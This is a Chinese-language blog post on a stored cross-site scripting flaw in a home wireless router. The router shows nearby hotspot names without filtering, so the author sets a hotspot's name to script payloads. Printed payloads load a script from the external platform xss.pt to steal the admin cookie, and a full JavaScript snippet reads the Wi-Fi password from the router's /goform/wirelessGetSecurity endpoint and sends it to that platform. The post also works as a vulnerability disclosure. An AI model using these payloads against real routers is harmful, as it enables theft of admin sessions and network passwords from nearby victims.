摘要:简单抓包分析就可以知道我们只要请求该地址即可获取无线Wi-Fi密码: http://192.168.2.1/goform/wirelessGetSecurity。于是我们就想到这样一种 攻击思路 ,是否可以 生成一个无线热点 ,把 名字修改为XSS payload ,是不是这样 受害者在扫描附近AP信息的时候就会执行XSS 呢。

今天本想使用台式机上网,然而身边并 没有有线接入点 。于是乎,想到可以利用 无线路由器的WISP功能

正好从小伙伴那里蹭到了一个无线路由器,如下图所示:

虽然丑但是好用哇,咱们 登陆后台 将路由器配置为 无线信号放大模式

emmmm,在选择无线信号名称这里我们发现了一个有意思的选项( 扫描上级AP站点信息 ):

扫描上级AP站点信息之后我们可以获取附近无线热点的一些简要信息,如 SSID、MAC 等等,如下图所示:

于是我们就想到这样一种 攻击思路 ,是否可以 生成一个无线热点 ,把 名字修改为XSS payload ,是不是这样 受害者在扫描附近AP信息的时候就会执行XSS

emmm,我们先看看 XSS注入点

XSS注入点在元素内容处,我们可以直接使用<script>alert(1)</script>这类payload

使用手机生成一个热点名称为: %3d/><script>alert(1)</script>

前面%3d/>没有用,只是为了方便以后测试。Emmm, 居然没有任何过滤哈哈哈

wink ,光弹窗也不是回事呀,我们来试试 获取管理员的cookie

修改热点名称为:

<script src=http://xss.pt/ENRM></script> 

再次扫描附近无线后,可以看到我们已经成功获得了被攻击者的Cookie

emmm, 作为攻击者现在我们可以登录路由器后台啦 ,但是我们还不知道无线密码是多少,我们来试试能不能 通过JS读取Wi-Fi无线密码

首先我们先看看Wi-Fi密码存在什么位置

虽然密码打*了,但是还是能读出来哒。 我们不妨 使用Burp抓包看看请求 是怎样的

简单抓包分析就可以知道我们只要请求该地址即可获取无线Wi-Fi密码: http://192.168.2.1/goform/wirelessGetSecurity

我们编写一段 JS去请求这个这个地址,并将结果发送到我们的XSS平台 ,代码如下:

var password = "nothing";

var httpRequest = new XMLHttpRequest();

httpRequest.open('GET', 'http://192.168.2.1/goform/wirelessGetSecurity', true);

httpRequest.send();


httpRequest.onreadystatechange = function () {

if (httpRequest.readyState == 4 && httpRequest.status == 200) {

password = window.btoa(httpRequest.responseText);

console.log(password);

var sendPassword = new XMLHttpRequest();

sendPassword.open('GET', 'http://xss.pt/xss.php?do=api&id=ENRM&password='+ password, true);

sendPassword.send();

}

};

测试一下,可以看到console中已经打印出来密码信息

通过抓包也可以看到请求已经发送至平台

nice

解码后我们就得到了Wi-Fi密码

emmmm,虽然我们最后拿到了相关权限,但是 这个漏洞还是很鸡肋 因为必须要在目标附近创建热点,就算在附近、人家也不一定会点击扫描热点,就算点击了扫描热点、人家也不一定已经连网,这个漏洞需要的条件太苛刻

但是这个漏洞还是蛮有意思的.....如果有小伙伴有更好的利用思路,欢迎下方留言哇!

点我留言

相关文章